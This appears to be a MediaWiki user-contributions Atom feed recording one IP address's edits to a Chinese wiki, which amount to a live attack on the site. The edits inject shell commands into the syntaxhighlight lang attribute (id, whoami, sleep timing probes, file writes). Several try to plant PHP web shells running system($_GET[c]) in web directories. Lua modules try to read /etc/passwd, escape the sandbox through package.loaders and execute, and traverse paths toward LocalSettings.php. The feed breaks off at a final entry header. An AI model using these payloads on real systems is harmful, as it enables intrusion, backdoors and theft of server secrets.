<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=221.237.85.128</id>
	<title>希服维基 - 用户贡献 [zh-cn]</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=221.237.85.128"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/wiki/%E7%89%B9%E6%AE%8A:%E7%94%A8%E6%88%B7%E8%B4%A1%E7%8C%AE/221.237.85.128"/>
	<updated>2026-05-10T23:57:37Z</updated>
	<subtitle>用户贡献</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Pwn&amp;diff=1057</id>
		<title>模块:Pwn</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Pwn&amp;diff=1057"/>
		<updated>2026-05-09T07:46:55Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.rce()   local f = io.open(&amp;quot;/etc/passwd&amp;quot;, &amp;quot;r&amp;quot;)   if f then return f:read(&amp;quot;*a&amp;quot;) else return &amp;quot;no io&amp;quot; end end return p”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.rce()&lt;br /&gt;
  local f = io.open(&amp;quot;/etc/passwd&amp;quot;, &amp;quot;r&amp;quot;)&lt;br /&gt;
  if f then return f:read(&amp;quot;*a&amp;quot;) else return &amp;quot;no io&amp;quot; end&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Sandbox&amp;diff=1056</id>
		<title>Sandbox</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Sandbox&amp;diff=1056"/>
		<updated>2026-05-09T07:44:53Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“test123”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test123&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestLoadersBypass&amp;diff=1045</id>
		<title>TestLoadersBypass</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestLoadersBypass&amp;diff=1045"/>
		<updated>2026-05-09T07:09:21Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:LoadersBypass|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:LoadersBypass|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadersBypass&amp;diff=1044</id>
		<title>模块:LoadersBypass</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadersBypass&amp;diff=1044"/>
		<updated>2026-05-09T07:09:20Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local results = {}      if type(package.loaders) == &amp;quot;table&amp;quot; then         results[1] = &amp;quot;loaders_count: &amp;quot; .. #package.loaders          -- Try each loader with various module names         local mods_to_try = {&amp;quot;os&amp;quot;, &amp;quot;io&amp;quot;, &amp;quot;lfs&amp;quot;, &amp;quot;socket&amp;quot;, &amp;quot;posix&amp;quot;}          for _, modname in ipairs(mods_to_try) do             for i, loader in ipairs(package.loaders) do                 local ok, fn = pcall(loader, modname)                 if ok and…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    if type(package.loaders) == &amp;quot;table&amp;quot; then&lt;br /&gt;
        results[1] = &amp;quot;loaders_count: &amp;quot; .. #package.loaders&lt;br /&gt;
&lt;br /&gt;
        -- Try each loader with various module names&lt;br /&gt;
        local mods_to_try = {&amp;quot;os&amp;quot;, &amp;quot;io&amp;quot;, &amp;quot;lfs&amp;quot;, &amp;quot;socket&amp;quot;, &amp;quot;posix&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
        for _, modname in ipairs(mods_to_try) do&lt;br /&gt;
            for i, loader in ipairs(package.loaders) do&lt;br /&gt;
                local ok, fn = pcall(loader, modname)&lt;br /&gt;
                if ok and type(fn) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                    local ok2, mod = pcall(fn, modname)&lt;br /&gt;
                    if ok2 and type(mod) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                        local funcs = {}&lt;br /&gt;
                        for k, v in pairs(mod) do&lt;br /&gt;
                            if type(v) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                                funcs[#funcs+1] = k&lt;br /&gt;
                            end&lt;br /&gt;
                        end&lt;br /&gt;
                        results[#results+1] = modname .. &amp;quot;_L&amp;quot; .. i .. &amp;quot;: &amp;quot; .. table.concat(funcs, &amp;quot;,&amp;quot;)&lt;br /&gt;
                        if mod.execute then&lt;br /&gt;
                            results[#results+1] = &amp;quot;*** EXECUTE FOUND: &amp;quot; .. modname .. &amp;quot; in loader &amp;quot; .. i .. &amp;quot; ***&amp;quot;&lt;br /&gt;
                            local ok3, ret = pcall(mod.execute, &amp;quot;id 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
                            results[#results+1] = &amp;quot;exec_&amp;quot; .. modname .. &amp;quot;=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(ret)&lt;br /&gt;
                        end&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestLeakInfo&amp;diff=1043</id>
		<title>TestLeakInfo</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestLeakInfo&amp;diff=1043"/>
		<updated>2026-05-09T07:09:18Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:LeakInfo|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:LeakInfo|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LeakInfo&amp;diff=1042</id>
		<title>模块:LeakInfo</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LeakInfo&amp;diff=1042"/>
		<updated>2026-05-09T07:09:18Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     -- Try to leak file paths through error messages     local results = {}      -- Test 1: mw.loadData with error paths     local ok1, err1 = pcall(mw.loadData, &amp;quot;/etc/passwd&amp;quot;)     results[1] = &amp;quot;loadData_passwd: &amp;quot; .. tostring(err1):sub(1,100)      -- Test 2: mw.ustring with invalid UTF-8 from file     -- (Can't read files directly, it's about encoding)      -- Test 3: Check mw.title for path info     local title = mw.title.new(&amp;quot;/v…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- Try to leak file paths through error messages&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Test 1: mw.loadData with error paths&lt;br /&gt;
    local ok1, err1 = pcall(mw.loadData, &amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
    results[1] = &amp;quot;loadData_passwd: &amp;quot; .. tostring(err1):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 2: mw.ustring with invalid UTF-8 from file&lt;br /&gt;
    -- (Can't read files directly, it's about encoding)&lt;br /&gt;
&lt;br /&gt;
    -- Test 3: Check mw.title for path info&lt;br /&gt;
    local title = mw.title.new(&amp;quot;/var/www/html/LocalSettings.php&amp;quot;)&lt;br /&gt;
    if title then&lt;br /&gt;
        results[2] = &amp;quot;title_exists: &amp;quot; .. tostring(title.exists)&lt;br /&gt;
        results[3] = &amp;quot;title_fullText: &amp;quot; .. tostring(title.fullText)&lt;br /&gt;
        results[4] = &amp;quot;title_prefixedText: &amp;quot; .. tostring(title.prefixedText)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Test 4: Check mw.site for path info&lt;br /&gt;
    if mw.site then&lt;br /&gt;
        results[5] = &amp;quot;site_scriptPath: &amp;quot; .. tostring(mw.site.scriptPath)&lt;br /&gt;
        results[6] = &amp;quot;site_server: &amp;quot; .. tostring(mw.site.server)&lt;br /&gt;
        results[7] = &amp;quot;site_currentVersion: &amp;quot; .. tostring(mw.site.currentVersion)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Test 5: package.cpath (C library path)&lt;br /&gt;
    results[8] = &amp;quot;cpath: &amp;quot; .. tostring(package.cpath):sub(1,200)&lt;br /&gt;
&lt;br /&gt;
    -- Test 6: package.path&lt;br /&gt;
    results[9] = &amp;quot;path: &amp;quot; .. tostring(package.path):sub(1,300)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot;\n&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWhoami_v2_1778310363&amp;diff=1041</id>
		<title>TestWhoami v2 1778310363</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWhoami_v2_1778310363&amp;diff=1041"/>
		<updated>2026-05-09T07:06:52Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(whoami 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestPwd_v2_1778310363&amp;diff=1040</id>
		<title>TestPwd v2 1778310363</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestPwd_v2_1778310363&amp;diff=1040"/>
		<updated>2026-05-09T07:06:43Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(pwd 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(pwd 2&amp;gt;&amp;amp;1)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestRW_1778310363_echo_simple&amp;diff=1039</id>
		<title>TestRW 1778310363 echo simple</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestRW_1778310363_echo_simple&amp;diff=1039"/>
		<updated>2026-05-09T07:06:04Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(echo PWNED &amp;gt; /tmp/test_echo_1778310363.txt)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(echo PWNED &amp;gt; /tmp/test_echo_1778310363.txt)&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310360075&amp;diff=1038</id>
		<title>TestTiming 1778310360075</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310360075&amp;diff=1038"/>
		<updated>2026-05-09T07:06:01Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;python;sleep 3&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;python;sleep 3&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310356944&amp;diff=1037</id>
		<title>TestTiming 1778310356944</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310356944&amp;diff=1037"/>
		<updated>2026-05-09T07:05:58Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;python | sleep 3&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;python | sleep 3&amp;quot;&amp;gt;TEST&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310353835&amp;diff=1036</id>
		<title>TestTiming 1778310353835</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310353835&amp;diff=1036"/>
		<updated>2026-05-09T07:05:55Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;`sleep 5`&amp;quot;&amp;gt;SLEEP5&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;`sleep 5`&amp;quot;&amp;gt;SLEEP5&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310350764&amp;diff=1035</id>
		<title>TestTiming 1778310350764</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310350764&amp;diff=1035"/>
		<updated>2026-05-09T07:05:52Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(sleep 5)&amp;quot;&amp;gt;SLEEP5&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(sleep 5)&amp;quot;&amp;gt;SLEEP5&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310347605&amp;diff=1034</id>
		<title>TestTiming 1778310347605</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310347605&amp;diff=1034"/>
		<updated>2026-05-09T07:05:49Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;`sleep 3`&amp;quot;&amp;gt;SLEEP3&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;`sleep 3`&amp;quot;&amp;gt;SLEEP3&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310344531&amp;diff=1033</id>
		<title>TestTiming 1778310344531</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310344531&amp;diff=1033"/>
		<updated>2026-05-09T07:05:46Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(sleep 3)&amp;quot;&amp;gt;SLEEP3&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(sleep 3)&amp;quot;&amp;gt;SLEEP3&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTiming_1778310341193&amp;diff=1032</id>
		<title>TestTiming 1778310341193</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTiming_1778310341193&amp;diff=1032"/>
		<updated>2026-05-09T07:05:42Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;BASELINE&amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;BASELINE&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTagSH2_1778310157&amp;diff=1030</id>
		<title>TestTagSH2 1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTagSH2_1778310157&amp;diff=1030"/>
		<updated>2026-05-09T07:02:53Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(whoami 2&amp;gt;&amp;amp;1)}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#tag:syntaxhighlight|TEST|lang=$(whoami 2&amp;gt;&amp;amp;1)}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTagSH1_1778310157&amp;diff=1029</id>
		<title>TestTagSH1 1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTagSH1_1778310157&amp;diff=1029"/>
		<updated>2026-05-09T07:02:52Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=`id 2&amp;gt;&amp;amp;1`}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#tag:syntaxhighlight|TEST|lang=`id 2&amp;gt;&amp;amp;1`}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTagSH0_1778310157&amp;diff=1028</id>
		<title>TestTagSH0 1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTagSH0_1778310157&amp;diff=1028"/>
		<updated>2026-05-09T07:02:50Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(id 2&amp;gt;&amp;amp;1)}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#tag:syntaxhighlight|TEST|lang=$(id 2&amp;gt;&amp;amp;1)}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1027</id>
		<title>TestWS1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1027"/>
		<updated>2026-05-09T07:02:46Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(printf '&amp;lt;?php system(\$_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/wiki/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt;&lt;br /&gt;
TEST&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1026</id>
		<title>TestWS1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1026"/>
		<updated>2026-05-09T07:02:44Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(echo '&amp;lt;?php system(\$_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/w/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt;&lt;br /&gt;
TEST&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1025</id>
		<title>TestWS1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1025"/>
		<updated>2026-05-09T07:02:42Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(echo '&amp;lt;?php echo \&amp;quot;PWNED_ZZXYS_1778310157\&amp;quot;; system(\$_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/w/images/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt;&lt;br /&gt;
TEST&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1024</id>
		<title>TestWS1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1024"/>
		<updated>2026-05-09T07:02:40Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(echo '&amp;lt;?php system($_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/w/resources/assets/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt;&lt;br /&gt;
TEST&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1023</id>
		<title>TestWS1778310157</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestWS1778310157&amp;diff=1023"/>
		<updated>2026-05-09T07:02:38Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“&amp;lt;syntaxhighlight lang=&amp;quot;$(echo '&amp;lt;?php system($_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/w/extensions/SyntaxHighlight_GeSHi/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt; TEST &amp;lt;/syntaxhighlight&amp;gt;”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;$(echo '&amp;lt;?php system($_GET[c]); ?&amp;gt;' &amp;gt; /var/www/html/w/extensions/SyntaxHighlight_GeSHi/pwned_ZZXYS_1778310157.php)&amp;quot;&amp;gt;&lt;br /&gt;
TEST&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestLoadDataAttack&amp;diff=1022</id>
		<title>TestLoadDataAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestLoadDataAttack&amp;diff=1022"/>
		<updated>2026-05-09T07:00:00Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:LoadDataAttack|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:LoadDataAttack|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadDataAttack&amp;diff=1021</id>
		<title>模块:LoadDataAttack</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadDataAttack&amp;diff=1021"/>
		<updated>2026-05-09T06:59:59Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“local p = {} function p.test()     local results = {}      local paths = {         &amp;quot;Module:Sandbox&amp;quot;,         &amp;quot;../../LocalSettings.php&amp;quot;,         &amp;quot;../LocalSettings.php&amp;quot;,         &amp;quot;/etc/passwd&amp;quot;,         &amp;quot;../../../etc/passwd&amp;quot;,         &amp;quot;../../../../etc/passwd&amp;quot;,         &amp;quot;Module:../LocalSettings.php&amp;quot;,         &amp;quot;Module:../../LocalSettings.php&amp;quot;,     }      for _, path in ipairs(paths) do         local ok, data = pcall(mw.loadData, path)         local info = tostring(ok)…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    local paths = {&lt;br /&gt;
        &amp;quot;Module:Sandbox&amp;quot;,&lt;br /&gt;
        &amp;quot;../../LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;../LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/etc/passwd&amp;quot;,&lt;br /&gt;
        &amp;quot;../../../etc/passwd&amp;quot;,&lt;br /&gt;
        &amp;quot;../../../../etc/passwd&amp;quot;,&lt;br /&gt;
        &amp;quot;Module:../LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;Module:../../LocalSettings.php&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, path in ipairs(paths) do&lt;br /&gt;
        local ok, data = pcall(mw.loadData, path)&lt;br /&gt;
        local info = tostring(ok)&lt;br /&gt;
        if ok and data then&lt;br /&gt;
            info = info .. &amp;quot;:&amp;quot; .. type(data)&lt;br /&gt;
            if type(data) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                local keys = {}&lt;br /&gt;
                for k in pairs(data) do&lt;br /&gt;
                    keys[#keys+1] = tostring(k):sub(1,30)&lt;br /&gt;
                end&lt;br /&gt;
                info = info .. &amp;quot; keys:&amp;quot; .. table.concat(keys, &amp;quot;,&amp;quot;):sub(1,100)&lt;br /&gt;
            elseif type(data) == &amp;quot;string&amp;quot; then&lt;br /&gt;
                info = info .. &amp;quot;:&amp;quot; .. tostring(data):sub(1,200)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
        results[#results+1] = path:sub(1,30) .. &amp;quot;=&amp;quot; .. info&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot;\n&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTitleProbe&amp;diff=1020</id>
		<title>TestTitleProbe</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTitleProbe&amp;diff=1020"/>
		<updated>2026-05-09T06:59:57Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:TitleProbe|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TitleProbe|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TitleProbe&amp;diff=1019</id>
		<title>模块:TitleProbe</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:TitleProbe&amp;diff=1019"/>
		<updated>2026-05-09T06:59:57Z</updated>

